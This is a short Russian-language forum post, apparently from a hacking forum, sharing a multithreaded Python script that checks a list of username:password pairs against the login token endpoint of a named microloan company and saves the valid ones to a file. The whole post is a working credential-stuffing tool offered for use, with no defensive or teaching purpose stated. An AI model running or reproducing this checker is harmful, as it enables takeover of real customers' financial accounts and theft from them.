- Автор темы
- #1
Код написан на python
Python:
import requests
import threading
file = open('333.txt').read().split('\n')
rrr=len(file)
rrr=int(rrr)
thread_count = 10
gud=0
def thread():
# Пока есть аккаунты
while file:
# Берём первый аккаунт из списка
to_check = file[0]
# Удаляем его из списка
file.remove(to_check)
try:
# Вызываем функцию проверки аккаунта
check(to_check)
except Exception as e:
# Если что-то пойдет не так, выведет ошибку
print("Ошибка:", e)
# Перебираем все аккаунты
def check(account):
global gud
global rrr
username = account.split(":")[0]
password = account.split(":")[1]
t=requests.session()
t.get("https://cabinet.lime-zaim.ru/login")
z=t.post("https://cabinet.lime-zaim.ru/SecurityTokenLime/Sts4Service/connect/token",data={"grant_type":"password","username":f"{username}","password":f"{password}","scope":"ClientApiScope","client_id":"ClientAPI","client_secret":"secretPassword"})
tt=z.text
if "access_token" in tt:
print("Валидный аккаунт")
f = open('Zaim_GUD!!!.txt', 'a')
f.write(f'{username}:{password}\n')
f.close()
rrr=rrr-1
print("Осталось: ",rrr)
gud=gud+1
if gud>0:
print("ВАЛИДА: ",gud)
else:
rrr=rrr-1
print("Осталось: ",rrr)
print(tt)
if gud>0:
print("ВАЛИДА: ",gud)
for _ in range(thread_count):
# Создаем наш поток. В target передаем нашу функцию. ВНИМАНИЕ: Функцию надо указывать без (), иначе мы передадим не саму функцию, а её ответ.
t = threading.Thread(target=thread)
# Запускаем поток
t.start()
